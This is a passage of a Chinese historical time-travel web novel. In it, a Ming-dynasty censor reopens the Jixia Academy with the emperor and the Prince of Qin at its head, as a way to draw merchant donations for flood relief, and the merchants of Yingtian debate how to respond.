不过这段时日以来,朱允熥一直住在朱煐的府中,先前见过几次,朱樉看朱煐的空档自然也没有忘给朱允熥带些礼物,这一来二去的,两人反倒是熟络了一些。 朱允熥听朱樉发问,看了眼门外,说道:“二叔你是不知道,侄儿我在东宫多年早就憋疯了,眼下好不容易住在这宫外了,还不得好好看看这烟火气?” 朱樉一愣,他想到了自己的童年,当年自己又何尝不是这样? 不过相较于朱允熥自己倒是好些,至少没有人针对自己,虽然老爹经常想对自己下黑手,可咱还有老娘,还有大哥,老娘和大哥帮忙拉着,可自己这侄子在东宫却是遭了老罪了,眼下大哥去世之后又举目无亲的,也就老爷子看朱御史刚直,才托付给了他。 想着这些朱樉不由有些心疼..... “好侄儿,这算什么烟火气?等改日二叔带你去二叔的封地看看,那里才叫热闹呢,二叔给你安排!” 朱樉伸手拍了拍朱允熥的头,拉着朱允熥就一同走进了朱煐的宅子..... ...... 朱煐、张平和方孝孺正在房间里商讨着博士以及副祭酒的人选。 既然是要重开稷下学宫,那这博士和祭酒的人选就尤为重要,至少不能辱没了这学宫的名头。 这祭酒是老朱,当今皇帝,大明的开国皇帝,这个格调绝对是够了,祭酒之位置算是定了。 接下来就是副祭酒和博士。 这些才是关键,想要取信于人,那就必须把名声先给打出去。 这稷下学宫的博士要是都是一堆破烂货,那哪怕是顶着稷下学宫的名头也没多少人会买账,甚至这稷下学宫的名头越是响亮,越容易起到反作用,引起反噬。 “咚咚咚。” 伴随着敲门声,朱樉的声音传了进来。 “朱御史,本王前来拜访,可否一见?” 朱樉站在门外询问,自从他准备当大明贤王,开始注意自己的言行举止之后,这讲礼貌就成了他学习的其中一环,要不粗鲁如他,哪里有这两下子? 这都是这些日子临时抱佛脚学的。 张平和方孝孺以及朱煐都是一愣。 张平上前开了门,就看到了门口站着的朱樉和朱允熥叔侄二人。 “王爷?” 朱煐看到朱樉也有些惊讶。 “哈哈哈哈,朱御史是不知道本王前来所为何事吧?倒也不是要紧事,只是听说朱御史这边要重开稷下学宫?” “这....不知本王可否在这学宫中谋个位置什么的....?” 方才在路上的时候朱樉已经向朱允熥打听过了,听朱允熥说朱煐正和张平、方孝孺在房间里商讨着重开稷下学宫的事宜,商讨这祭酒和博士的人选,原本还处于震惊中的朱樉顿时就来了状态! 没想到这稷下学宫还真要开了? 这自己要是能在其中谋个位置的话,那咱岂不是也成了学富五车的文人? 朱樉搓了搓手,这要是能在闻名天下的稷下学宫中有个位置,那岂不是更符合咱日后贤王的身份了? 想到这,朱樉的心里还有一点点小兴奋..... 张平、方孝孺面面相觑。 两人刚刚还在担心着这学宫博士和副祭酒的位置该找谁呢,没想到这一个活生生的王爷就送上门来了? 朱樉可不是一般的王爷,他可是老朱和马皇后的亲子,论地位仅次于已故太子朱标的秦王! 秦王这两个字可不是谁都能担得起的,秦王嬴政,秦王李世民,这两个名垂千古的秦王在,本身在天下人的眼中秦王就是一个地位崇高的象征..... “王爷要入稷下学宫任职?” 张平依旧有些不可思议。 这稷下学宫听上去是挺好听的,毕竟是借用了古人遗留下来的名号,可眼下说白了就是一个啥也没有的空壳子。 刚刚还想着要喊谁来学宫撑撑场面呢,没想到朱樉这会儿就主动上门了。 “不行吗?本王职要个博士挂职就好了,也不授课误人子弟.....” “王爷何以不授课?” 朱樉话还没说完就被朱煐给打断。 朱樉抬头看着朱煐不由得一呆:“本王这身无所长,如何授课?朱御史莫要取笑本王了。” 朱樉的话引得一旁的张平和方孝孺不断点头,看向朱樉的眼神中也多了一些感慨。 这秦王虽然没有什么大本事,但贵在有自知之明啊。这一点就很难得了。 然而朱煐却摇了摇头:“王爷此言差矣,王爷何以便没有一技之长?太谦虚了。” “王爷舞文弄墨固然不行,可要说冲锋陷阵,行军打仗,眼下大明又有几人能出王爷之左右?” “眼下王爷又何必妄自菲薄?王爷今日来的正好,这稷下学宫正缺王爷你这般的人才啊!” “下官以为,以王爷才干以及秦王身份,完全可以于稷下学宫当个副祭酒,仅次于陛下,陛下日常公务繁忙自然是无瑕顾及这稷下学宫,那这就得仰仗王爷您了。王爷您是陛下亲子,又身怀才干,您替陛下管着这稷下学宫,任谁也挑不出毛病!” “再说这授课,下官以为王爷既有才干,那自该授课!” “这稷下学宫在战国时囊括诸子百家之说,并非儒家一言而断,既然我们要重开稷下学宫,那自然就该与众不同,当重复古学之荣光。王爷此时来的正好,正好担任学宫副祭酒一职,您也是稷下学宫第一位副祭酒!” “不知秦王以为如何?” 朱煐连珠带炮一口气说完之后看向朱樉..... 而这会儿的朱爽整个人都已经懵了..... 在短暂的失神之后,他的眼睛里重新绽放出了光彩! 他眼中的光彩越发坚定..... “副...副祭酒?” “本王当真可以胜任吗?” 这个位置,可是仅次于老头子的祭酒之位啊! 我朱樉,能当稷下学宫副祭酒? “自然,王爷难道不敢接?” “敢!本王有何不敢?” “那好,往后这重开稷下学宫,便有王爷一份,还请王爷共同出力。”朱煐笑道。 “应该的,这自然是应该的,不过....” “不过什么?” 朱樉顿了顿道:“不过本王还有一个不情之请,这.....?” “不情之请?王爷直言便是。” “本王就是想到了老三,不瞒朱御史,这老三其实也颇有才干,哦对了,就是晋王,本王与晋王是一同长大的,他比本王有脑子,这等好事不知可否带上他一个?” 朱樉和朱棡属于是穿一条裤子的选手,一个能干仗,一个有脑子,是天作之合,不过眼下朱棡尚未入京,但朱樉却没有忘记自己的老弟,在得了这副祭酒之职之后赶忙开口也想给自己的老弟给讨一个。 一旁的张平和方孝孺全都是不由得一愣..... 不是...还能这样? 稷下学宫刚开,陛下当了祭酒不说,秦王和晋王这要是再当了副祭酒.....这学宫...怕是要一飞冲天了啊..... 关键这两位王爷,一个主动送上门不说,另一个更是连京城都没有到就被直接安排了..... 刚刚三人还在商讨如何能把这稷下学宫的名头给打出去,这下好了,这一眨眼的功夫,一切这就....全都迎刃而解了? 看着朱樉一脸的不好意思,张平和方孝孺两人大眼瞪小眼..... “秦王身为学宫副祭酒,既然是副祭酒推荐,那学宫方面如何能不考虑?” “此事我这边是双手赞成的,不过还请秦王与下官一同入宫一趟。” “入宫?入宫做什么?” “那自然是面见陛下!” “这陛下还是学宫的祭酒呢,博士认命下官能做主,这副祭酒,还是得知会陛下一声,秦王以为如何?” “行!那就走一趟!” 第62章 商贾沸腾了! 路上,朱樉已经将自己的身份彻底代入到了稷下学宫副祭酒的身上。 自然他就开始为稷下学宫考虑。 眉头微皱,面露愁容。 欲言又止数次后,朱樉终究是问出了心中的担忧。 “朱御史,本王眼看便要当着稷下学宫副祭酒了,可本王担心,这学宫建设的银两,怕是不好筹措啊。” “眼下朝廷本就不富裕,湖广又遭灾,并非是重开稷下学宫之机,实在不行的话,不如我们过段时间再重开稷下学宫呢?” 先前在朝堂上的时候老朱和户部已经把朝廷的底子都给透了个干净,哪怕是素来不关心朝廷财政这些数据的朱樉也知道眼下朝廷并不富裕,别说是重开稷下学宫了,这就连湖广大灾的钱都凑不上了。 事有轻重缓急,湖广大灾的赈灾重要性一定是在这重开稷下学宫之上的。 朝廷真要挤出钱,也是先用于赈灾,再有闲钱再用来重开稷下学宫。 可眼下的朝廷,哪里还有闲钱? “王爷要是担心这个的话,那大可不必担心了。” 朱煐尚未开口,方孝孺便笑着给朱樉解释起来。 “这重开稷下学宫乃是朱御史想出来的一石二鸟之计。这学宫招收天下英才,有教无类,这收一些商贾之家的孩子入学很合理吧?” “这商贾之家的孩子何以入学?其他孩子靠的是出身,那这商贾的孩子出身不行的话,何以入学?” “若是一般的学宫,如国子监,那是不收商贾之子的,可稷下学宫不同,稷下学宫有教无类,虽说商贾是贱籍,可学宫依旧会收纳商贾之子,不过学宫自也不能吃亏,要一些学费,很合理吧?” “商贾只要愿意付出,给我大明或是给学宫做贡献,那商贾之子就有资格入学宫学习!” “王爷现在还觉着这学宫重开难吗?” “须知,这学宫的祭酒乃是陛下,副祭酒乃是王爷和晋王,还有天下鸿儒为博士,这等老师就连国子监恐怕也是不如多矣,就连王爷你都如此希望入学宫入职,更何况那些商贾?” “不错,王爷,方大人所言不错,老大便是这般想的,重开稷下学宫不假,可真正的目的是为了筹赈灾粮款,先前在朝上老大可放了话了,王爷可是忘了?” 张平也开口说道。 方孝孺和张平你一言我一语直把朱樉给听得一愣一愣的。 好在虽然信息量不少,可这些言语并不生涩难以理解,在听明白了之后,朱樉顿时不由倒吸了一口冷气! 他不由看向朱煐,竖起了大拇指。 “朱御史,高啊!” “此计甚妙!本王都想成这学宫副祭酒,更何况那些商贾之家?” “这消息传出去,若是能取信于商贾,这些商贾为了孩子入学,怕是会献上不少银两,这湖广赈灾银两筹措一事,怕是已经成了一半了!眼下便是不知这些商贾能给出多少银钱了!” 朱樉一听完方孝孺和张平的话之后,他立刻就从自己身上出发,意识到了这稷下学宫对那些商贾的吸引力! 自己堂堂王爷,都这么渴望能入稷下学宫镀金,更何况那些地位低贱的商贾? 人活一张脸,树活一张皮,商贾巨富手里的钱已经够多了,可眼下的情况是,虽然他们有钱,可他们却没有脸面,钱财买不来他们的脸面,甚至会让他们感觉更丢脸! 他们想用钱买脸面都没有这个路径! 而现在的稷下学宫就等于给商贾们开了一条羊肠小路,这商贾们不得挤破头了啊? “哦?王爷就这么信我?” 见激动的朱樉,朱煐不由莞尔,来自后世的他明白这一手的威力,可身处大明并未经历过后世的张平也好,方孝孺也罢,甚至老朱,都不觉得这些商贾能为了让孩子入学能给出多少银两,大家的心里还是担心筹措的银两不足的。 毕竟商贾给人的印象就是一毛不拔,吝啬,视财如命。 可眼下的朱樉显然和其他人的想法大相径庭。 “因为本王就是这般想的啊!” 说着朱樉不好意思地挠了挠头:“不瞒朱御史,本王这从小到大一直就被父皇小觑,被天下人笑话,颜面尽失,哪怕本王改过自新想要当贤王,可这名声却也难以扭转。这稷下学宫副祭酒一职于本王而言简直就是雪中送炭!” “本王尚且如此,更逞若那些个商贾?” “他们被人讥讽嘲笑的程度只会在本王之上,由此本王可以断言,为了让自己的名声好些,他们会出个不低的价钱!” “王爷此言有理啊!” 张平和方孝孺听后眼前一亮。 两人并不像朱樉那般被他人所看不起是以并没有立刻体会这稷下学宫的作用,可两人都不是蠢人,经朱樉这么一说,顿时就理解了。 “老大,你先前就是这么想的?” 朱煐点了点头。 面对张平和方孝孺的敬佩的目光,朱煐心中暗暗排腹。 我他喵不光这么想,我想的还多着呢! 在朱煐看来这从商贾手里弄钱属实是没有什么难度,他来自后世,甚至这割韭菜的套路,但凡是牵扯到孩子的教育问题的,那就是一笔没有上限的大买卖! 要说开设稷下学宫让商贾掏钱不好理解的话,把其类比成后世的教育投资就可以理解了。 虽然这是大明并非后世,可人性都是相同的,而中华五千年流传的文化导致了人的思想其实并没有发生太大的变化,父母依旧是望子成龙,而只要有这一点渴望,那后世的操作拿到大明来就依旧好使! 大明的国子监就相当于后世全国最顶级的学府,甚至犹有过之,毕竟后世的清北虽然在国内算是遥遥领先,可在国外却还是有学校能与之媲美。 而眼下大明不同,这个时代的大明,正值国力强盛,海外蛮夷如今尚且不尊教化,工业革命的萌芽也尚未开始,可以说眼下的大明国子监,那就是当之无愧的全球第一顶级学府! 从这个角度来看的话,远胜于后世的清北! 而即将要重开的稷下学宫,用的是国子监的同款班底,同时这祭酒还是当今皇帝,大明的开国皇帝老朱,副祭酒是两位王爷!教学阵容在国子监阵容的基础下进行进一步的优化! 这一套班底可以说是在国子监的基础上进一步进行了强化! 任用一套世界第一学府的同款教学班底,且进行了强化,又用了千年前名垂青史的稷下学宫的名头,可想而知这重开的稷下学宫的格调有多高!哪怕是类比后世,都找不到后世任何一个大学能够与之媲美! 这是一个独一无二的顶级学府! 这样的顶级学府,但凡是家境富裕的,望子成龙的家庭,会掏多少钱让孩子进去? 经历过后世教育内卷时代的朱煐,心里十分清楚这是一笔怎样的收益! 老朱、方孝孺、甚至包括张平都并不认为商贾会为这些买单,但朱煐的心里却十分笃定,他们一定会为教育买单! 因为他们的人生已经走到了顶点,商贾巨富已经是他们所能走到的人生最高点,再想更进一步几乎没有任何的可能!但他们的孩子还有机会,他们的孩子还有无限可能! 入了稷下学宫也就意味着,同身为学宫祭酒的老朱扯上了关系,同身为稷下学宫副祭酒的秦王朱樉,晋王朱棡扯上了关系,同身为稷下学宫博士的天下鸿儒们有了师生之谊! 哪怕你是一个不学无术的废柴,有这些个关系在,你去办点事,谁敢小觑你? 这就是人脉,这就是身份啊! 商贾重利不假,可同时他们也是头脑最清醒的人,只要他们认可有价值的东西,他们有着常人所没有的冒险精神! 当回报率达到百分之十的时候他们会蠢蠢欲动,当回报率达到百分之五十的时候,他们就敢铤而走险,当利润率达到百分之百的时候,他们甚至敢违反律法,当回报率达到百分之三百,他们甚至不会畏惧死亡! 而让自家孩子进入稷下学宫这件事,在朱煐看来,这回报率,已经高上天了! ...... 几人一同入宫见了老朱。 朱煐去而复返让老朱有些惊讶,不过心中却是莫名高兴。 他发现随着自家大孙在朝中越发重要,两人之间的交流接触也变得更多了,毕竟都是为了大明嘛,都是为了公事! 老朱乐得见到这样的情况发生,要是让自己天天传召的话,难免会让人看出端倪,惹人非议,倒是不怕别人怎么说,这要是别人三言两语说着说着,让尚未准备好的大孙知道了自己的身份,不愿意继承皇位,甚至以大孙的犟脾气,恨上了自己,那可就麻烦了.... 摊牌,还是得要找一个合适的时机才是..... 在老朱得悉此番入宫是为了朱樉要入稷下学宫担当那副祭酒一职的时候,不由有些惊讶。 他看着朱樉,心中不断咂舌..... 这臭小子....难不成真是在标儿去世之后改了性子,知道了些许身为咱儿子的担当? 先是想当贤王,如今又主动要入稷下学宫当副祭酒,一直以来不争气的老二,开始上进了? 老朱又默默看向了朱煐..... “大孙啊大孙,你可真是咱的福星,大明的福星啊。” 老朱心中默默念叨。 毕竟朱樉的一切改变与朱煐也脱不了干系。 老朱万万没想到,这叛逆了一辈子的儿子,居然在自己快入土的晚年,忽然开始改了性子..... 这一切的原因,老朱只能将之归咎到朱煐的身上..... ...... “父皇,儿臣想当这稷下学宫的副祭酒,朱御史说了,儿臣是有本事的,儿臣可将那上不得台面的枪棒本事还有行军打仗的新的传授给稷下学宫的学子.....” 朱樉由衷地说道,老朱也感受到了朱樉言语中的真诚,点了点头:“好,咱允你入学宫,日后就好好帮着朱御史将这学宫给咱好好办好!” 老朱看着还真痛改前非的朱樉,一时间竟有些恍惚..... 心中不免反省。 是不是咱先前对这几个孩子太过苛责了? 眼下这不曾打骂,老二反倒是痛改了前非..... “父皇,儿臣此次入宫还有所求!” 老朱尚在反省,被朱樉打断。 他愕然看向朱樉。 朱樉挠了挠头:“父皇,儿臣是想给老三也提前求个位置,这副祭酒一职能否给老三一个?老三他的脑子比我好使父皇你是知道的,儿臣都能胜任这副祭酒的话,想来老三也能做好,儿臣愿给老三作保,若是他不行的话,儿臣愿意领罚!” 朱樉说的都是肺腑之言,由衷之言。 老朱眉头挑了挑。 看着朱樉,原本这个怎么都看不顺眼的儿子,现在是看得越来越顺眼了..... 不光痛改前非,自己上进,还知道替自己的兄弟考虑? “行了,你好不容易给咱提个要求,咱一并允了。” 老朱大手一挥直接同意。 而老朱的豪爽却让朱樉看得不由一呆..... 什么时候父皇这么好说话了? 果然,之前是我对不起父皇,故意与父皇对着干,父皇对我寄以厚望,我却如此不懂事..... 想到过往种种,朱樉无比惭愧..... 父爱如山,静默无声啊..... ...... 翌日。 随着消息的逐渐发酵,整个应天府的所有人几乎都已经得悉了稷下学宫即将重开的消息。 而整整一天的时间朝廷方面居然都没有传出辟谣的动作,这其中意味就越发微妙了..... 原本消息刚出来的时候,又不少人都是不信的,甚至有的直接就当这消息是无稽之谈。 可眼下..... 原本质疑的人,这会儿也是闭上了嘴..... 这是哪里? 这是应天府! 这是京城!是天子脚下! 在天子脚下闹出了这么大的动静,宫里面会不知道?陛下会不知道? 这可过去整整一天了! 可要是消息已经传入了宫里,陛下也已经知道了的话....这消息却依旧还在传播,还没有辟谣,这说明什么? 这其中.....意味着什么? 大家都在观望,而其中作为嗅觉最敏锐的一批人.....他们却已经开始了行动! 要说什么人对于消息的感知最为敏锐? 毋庸置疑,那就是商贾! 随着整整一天的时间消息传播且没有人辟谣,身在应天府的商贾巨富默然无声,不约而同地聚到了一起...... 此刻,即便是见惯了大风大浪的他们,也难掩心中的激动! 第63章 赈灾能花几个钱? “这两日京中传的消息大家应该都听说了吧?” “自然听说了,没有听说那消息,我们今天能聚在这儿吗?” “重开稷下学宫,这朱御史是什么来头?陛下竟将此事交给如此年轻的小子,就不怕搞砸了?” “这朱御史可不一般,我听朝中的大人物说过,今年科举因太子丧事延期了一阵,而这朱御史就是本届科举里最出众的人物!” “他是状元?” “那倒不是,不过他所做所为,别说是状元了,纵观古今也少有人敢做。” “......” 商贾的消息很灵通,但这房间里有些商贾并非全都是一直常住在京城的,毕竟商贾要经商,行走在各地才是常有的事,此番赶回京城只是因为得了京城这边的消息,说是稷下学宫要重开,极有可能会招收商贾家世的子弟。 这些大商贾往常行走在各地,京中会留有人手收集消息,有重大消息才会上报。 而显然,朱煐虽然在朝中引发了不小的风波,可毕竟对商贾影响不大,且御史一职官位也就一般,这才让有些不常在应天府的商贾对朱煐并不了解。 不过这其中很大一部分的商贾还是常住京城的,在他们你一言我一语的拼凑下,很快原本对朱煐不了解的商贾也对他的所作所为有了耳闻。 而在听闻了朱煐的所作所为之后,原本还质疑为什么这重开稷下学宫的差事会落到朱煐手上的那些个商贾一个个全都不说话了。 这特么的,太子刚刚去世两个月时间,朱煐更只是入朝区区一个月不到,居然就闹出了这么些个骇人听闻之举? 刚入朝就挑动了皇储之争,之后先后针对凉国公,死谏到凉国公主动退出了朝堂中心。 有不少人这才恍然,难怪这些时日凉国公府都低调了许多,合着这里面还有着这一档子事? 转念一想这朱煐所言,还真别说!这凉国公想要活命,还真就得低调,这还得看陛下是不是会念旧情饶过一次,以他的地位和眼下的身份以及和允熥皇孙之间的关系,不出意外的话,凉国公日后怕是要真会被陛下提前清算! 唤作任何一个刚入朝的年轻官员,在短时间内引得一个国公在朝中失了势,这已然是骇人听闻,可放到朱煐的这一个月以来的这些个战绩里,这却只是个开始! 这丫的不光让凉国公退出了朝堂中心,还与允炆皇孙以及一众文官大人们争锋相对! 特么的,两个皇储人选,一个允熥殿下,一个允炆殿下,任何一个正常人,无非就是三种选择。 第一个选择就是投靠允熥殿下.... 第二个选择就是投向允炆殿下..... 第三个选择就是保持中立,两不相帮..... 可偏偏这位朱御史,另辟蹊径,走出了第四条路! 他选择两边全都得罪!得罪完凉国公这头,又往死里得罪了允炆殿下以及他背后的一众文官大人们..... 这是一个正常人能干出来的? 但凡这个人有点趋利避害的想法,那就不可能做出这迥异于常人的选择! 而做出这样的选择唯一的可能性只有一个——这位朱御史,一心为国,是一个原则性极强极强之人! 换而言之,他不会无的放矢! 而这也从另一种程度说明了,倘若真是此人开口,说这稷下学宫重开,能收下商贾家的子弟,那他就不会谎言坑骗! 考虑到这些,再联系这些日子以来这位朱御史的威势,一时间,商贾们蠢蠢欲动。 他们是爱钱,但他们更明白,比钱更重要的是什么! 是孩子的前途!是名望,是权力! 这权力不好得,可要是入了这稷下学宫,说不得自家孩子就不用顶着个商贾之子的破落名头生活了,取而代之的是天子门生,是稷下学宫学子这个头衔! 想到这些,在座的商贾,无一人不心动! “倘若真能让我家那不成器的孩子入这稷下学宫,哪怕是当个打杂的那也行啊!” “想入这稷下学宫怕是难之又难,说是招收我们商贾家的子弟,可这学宫招收的弟子名额多少人盯着?哪里轮得上我们呢?” “说的是啊,我看能有个旁听的机会就已经很不错了。” “不过即便如此,倘若真能和稷下学宫扯上关系,付出多大的代价都值了!” “格老子的!老子给人当了一辈子孙子,有钱还要当孙子,咱孩子日后大概率也是给人当孙子的命,这要是能入稷下学宫,这辈子真就改了命了!” “谁说不是呢?都说有钱能使鬼推磨,可实际上却处处受人鄙夷,前些日子我让人去衙门告状就想要回对方赖掉的钱款,可人家压根就不帮忙!衙门的人宁愿帮那农户,也看不起老子!” “陈兄没有打点吗?对方要只是个农户的话,不至于吧?” “打点?打点个屁!老子倒是想给钱,人家不敢收啊,说什么为了点钱丢了性命不值当,还有那主簿,差点要给老子治个行贿罪,说是贪污受贿非君子所为,还对着老子一顿嘲讽,说什么商贾贱籍是有原因的,给老子郁闷坏了!贱籍怎么了?老子的钱不也是一分一厘赚出来的?” “......” 这话匣子打开了,房间里的商贾你一言我一语地控诉着自己所遇到的不公之事。 事实上这并不难理解,有钱能使鬼推磨的前提是,你得有匹配这份钱的身份地位!要不然你有这份钱,只能被人到处欺压,匹夫无罪怀璧其罪,便是如此! 且当今洪武的社会风气无论是百姓还是官员都并非纯粹向钱看齐。 眼下的社会风气有些像后世八十年代之前的思想状态,那时候有钱是什么?是吃人血馒头的资本家,是投机倒把份子,是受人鄙夷的对象,你有钱咋了?有钱也被人看不起! 听起来很魔幻,可事实就是如此。 如果你有钱,且你还是个乡里远近闻名的大户人家,大地主,有地有人有权有名,那这个钱就是有效的钱,属于没有人敢招惹,受人尊敬吹捧的有钱人。 可要说你有钱,可你只是个商贾,一个贱籍,一个连普通农户都比不上的贱籍,社会地位低下,那你即便有钱,也被人所瞧不起。 所以商贾才谨小慎微,甚至都不敢露富,生怕一个不慎被人盯上。 为什么这些商贾在老朱看来是要钱不要命,因为从现实出发的话,倘若你让别人知晓你有多少钱,你出手阔绰引人垂涎,那大概率,你花钱也没命,而且钱花的越多,死的越快! 你没有保护这份钱的地位和权力那你就是一只任人宰割的羔羊而已..... “眼下当务之急就是得先确定这稷下学宫重开一事是真是假。” “若是为真,这我们商贾家子弟入内需要什么条件,这些都得先弄清楚,总不能是个商贾就收吧?想来也不可能,这其中一定有条件要求。” “这事情倒是简单,既然此事陛下让朱御史主管,那我们去朱御史那边打探打探消息不就好了?” “到朱御史那里打探消息?” 听到这个提议,房间里却骤然安静不少,有不少商贾都不言语了...... 半晌后,有人开口..... “这朱御史怕是不好交际啊,不像是个好说话的。” “朱御史连皇孙都不放在眼里,我等商贾,贸然前往怕是容易惹得人家不喜啊,这稷下学宫重开又是朱御史一手负责,这要是因为叨扰了人家而闹出点变故.....有些冒险了!” “得找个恰当的理由才好,有理才好上门,找个由头。” “这理由可不好找,这朱御史既然是御史,又是刚正的性子,想来就算是给他送礼他也不一定会收,说不得会起反作用!” “我觉得也是,听说朱御史与那汉中府教授方孝孺经常厮混在一起,朱御史我不了解,可这方孝孺我却听说过,听说他在汉中府担任教授一职,前些年有商贾想给他送银子让他帮着带带自家孩子,结果被人家直接给赶了出来。” “嘶!那岂不是连试探都不好试探了?” “......” 商贾们你一言我一语,而就在这时,忽然有人猛地一拍桌子! “有了!” 其余商贾被这动静瞬间吸引了注意力,众人的目光齐刷刷地全都落到了此人身上。 “胡老三,你想到什么了?瞎嚎嚎啥?” 有认识胡老三的商贾不由吐槽..... 胡老三摸了摸自己的光头,悻悻然道:“我想到理由了!” “而且这个理由朱御史定然不会拒绝!” “哦?什么理由?快说快说!” “胡老板,你别卖关子了,直接说吧!” “......” 胡老三显然很享受这种感觉,在场的都是大明商界有头有脸的人物,被这么一群人追着称颂,当真是人生一大爽事! 不过胡老三也晓得不能过分,毕竟这要是过分了,真容易给这些家伙给整急眼了,当即开口道。 “要是我老胡我没有记错的话,昨日朝堂上的传闻朱御史是不是同燕王殿下闹了矛盾?” “诶!好像是有这么回事,好像是朱御史主动揽下了筹措湖广赈灾钱粮一事,燕王觉得朱御史此举无异于哗众取宠,两人是以冲突。” “不对不对,你的消息不对!昨日朝堂之争不过是个表现,实际上得联系前几日的事情看,前些日子燕王被陛下下令关进了应天府府衙大牢,还一连关了数日!这才是两人针锋相对的根本!” “嘿!你说的这也不全对,为何朱御史与燕王会发生冲突?就我这边得到的消息,一来是燕王当街纵马,朱御史看不下去,仗义执言。而二来却是朱御史其实与秦王殿下私交不错,当日冲突秦王殿下还出来给朱御史撑腰了,看似好像是朱御史与燕王的冲突,实则是秦王与燕王的交手!” “不过....老胡,这些和你说的理由有什么关系?” 众人依旧不解,纷纷看向胡老三。 胡老三光头锃亮,眯起眼睛,原本就不大的眼睛这么一眯之后就更小了。 他压低声音小声道:“无论朱御史与燕王是发生了什么冲突,我觉得吧,其实都不重要,重要的是昨日朝中朱御史应该是接了筹措湖广赈灾钱粮的差事,眼下朱御史怕是正缺钱呢!” “此时从前,无异于雪中送炭啊!” “须知,这锦上添花远不如雪中送炭,这会儿要是用这理由去探听朱御史口风,岂不是再正当不过的理由了?” “嘿!还真是!” “等等!”忽然有人开口:“胡老板,你这不说我还险些忘了,大家说有没有这种可能性?朱御史放出口风说重开稷下学院只是个由头,实际上想借此让我们捐出钱粮?” 随着此人开口说出这话,顿时房间里陷入死寂! 方才大家听说稷下学宫重开,商贾之家的孩子也在招收之列,兴奋之下下意识就忽略掉了这个问题,或者说大家下意识就不想去想这个问题,他们更希望重开稷下学宫的消息是真的,招收商贾之家的孩子也是真的...... 可眼下有人这么赤裸裸地提了出来,这一句话瞬间就打碎了绝大部分人的幻想..... 是啊,这一切都太巧合了! 这难不成是个套? 所谓一朝被蛇咬十年怕井绳,被人坑钱坑多了,大家都变得极为谨慎了,先前不过是乍的一下听到了那么绝佳的好消息猛然间有些上了头失了智,可在冷静之后仔细思考后,就开始瞻前顾后起来..... “胡老板,你怎么看?” 此刻大家都没有了主意,理智告诉他们这个猜想很符合利益,可他们却又不想相信..... 不少人都没了主意,不由看向了先前侃侃而谈的胡老三..... 而这么一看,大家聊相中胡老三皱眉苦思的表情没有看到,只是看到胡老三笑呵呵的,一副胸有成竹的模样..... 而胡老三的这表情也顿时引起了大家的注意。 “胡老三,你是不是有什么想法?” “是啊胡老板,这有什么想法你就说嘛!大家都朋朋友友的,我等商贾就该齐心协力,这生存起来本就困难,不齐心协力,岂能行?” “给我们说说呗老胡?” “.......” 在大家希奕的目光注视下,胡老三哈哈哈大笑,指着其他商贾笑道:“不是,我说你们也太拿自己当盘菜了吧?” “你也知道,我等商贾地位低下,你有再多钱在人家的眼里那都只是贱籍!” “会有人为了我们商贾专门重开稷下学宫?” “用脑子想想吧,别开玩笑了!” “这湖广大灾虽然罕见,可每隔个两三年也总有地方会有个一两次的大灾,这要是每次大灾都重开稷下学宫,这稷下学宫早就开遍天下了!” “依我之见,这两件事压根就没有太大的联系,最多也就是巧合撞一起了而已。为了筹措点钱粮,专门开一个稷下学宫?祭酒还是陛下?这合理吗?” 胡老三的这番话震耳欲聋,顿时让在场的所有商贾都不由陷入了沉默..... 大家的耳朵里都不断回荡着胡老三说的这番话,如雷贯耳,振聋发聩! 很快,不少人的眼睛就亮了! 对啊! 不合理啊这! 为了筹措点湖广赈灾的钱粮,重开一个名垂千古的学宫?这怎么看怎么也不合理! 这要是每次赈灾都来这么一下,那这学宫都开多少了? “这开学宫会不会是假消息?莫不是朝廷想用这个假消息骗我们捐钱?” 有人开口,可此言一出却迎来了胡老三的鄙夷。 胡老三翻了个白眼:“这消息假不假,这不是正准备去问吗?咱正好借着这湖广遭灾一事登门聊表心意,这能花几个子儿?” “真要是确定这稷下学宫当真要重开,还真要收我等商贾家子弟,不是咱老胡说,这湖广赈灾粮款,我老胡去给朱御史凑齐!让他好好办学,可不能让赈灾这破事儿影响了朱御史的精力!” “有理!此言有理啊!” “是啊,我们先去探明情况不就好了?” “胡老板所言不错,是这个理儿!是这么回事儿!” “.......” 第64章 无比激动的胡老三 胡老三自告奋勇,准备前往朱煐府邸。 他是北边的商贾,众人对其底细也不清楚,只是晓得做着粮食生意,做的很大。 胡老三最不乏的就是冒险精神,据说他年轻时三起三落,机缘巧合才成了今天的胡老三,做了这么大的买卖。 胡老三家大业大,不过却只有一个儿子,是家里的独苗苗,他对这个儿子可以说是无比看重,花了重金聘请了老师,是曾经在国子监就读过的一个学生,后来科举接连不中心灰意冷发誓不再科举。 可即便是这样的人才,也花了胡老三好大的心力和功夫。 钱财之类的还好说,主要还是读书人的傲气,但凡是有些气节的读书人,哪怕商贾给钱,也是不太愿意教授商贾家的儿女的,这样显得很掉价,堂堂读书人,当不为五斗米折腰,这为了钱去教商贾之子?是为读书人所不齿! 胡老三好说歹说,给钱还低三下四地拜访,这才让对方感受到了重视,决定收这个钱教他的儿子。 当然,这读书人中也不乏见钱眼开之辈,可胡老三却也是有脑子的,他不愿意这样的人来教自己的儿子,他希望儿子成的是顶天立地的读书人,胸中有浩然正气,而不是一个趋炎附势的小人,眼里只有银子。 因为胡老三觉着自己就是这样的人,趋炎附势,眼里只有银子,他看不起自己,所以不希望儿子会变成自己这样的人。 在胡老三看来,学生是会像老师的,老师要是品行不端,那学生就会跟着有样学样,他要给儿子找的老师,必须德才兼备! 而如此一来,问题又回到了最初,德才兼备的读书人,看不上商贾啊! 人家不为五斗米折腰的...... 大明的读书人和后世的读书人可不同,这区别可大了去了,大明的读书人要是真有本事,不说参加科举高中什么的,你但凡只要是个秀才,那在大明生活都能生活的颇为滋润。 只要你是秀才,你的田地就可以免收田税,哪怕你自己不种地,你完全可以将这地给别人中,然后收少一些的租子,你依旧有赚头,也有的秀才就出个名头,让人将田地挂靠到自己的名下,抽取少量的租金,什么也不用做就有钱入账。 同时这个时代能识文断字的都是少数,更别说有秀才之名的了,少数意味着稀缺,稀缺意味着有价值!正所谓物以稀为贵,你的稀缺性往往就代表了你在这个社会上的价值以及你所能获取的报酬。 无论是给人写信还是教人读书,秀才的身份都获得一笔不斐是收益。 至少对于大部分的秀才而言,但凡不是清高到极致的,吃喝大抵是不愁的。 而吃喝不愁也就意味着他们有着不为金钱折腰的资本!毕竟这有钱难买也高兴啊! 正是因为胡老三找过,所以他才明白,一个德才兼备的老师,对于一个商贾之家而言有多么难找! 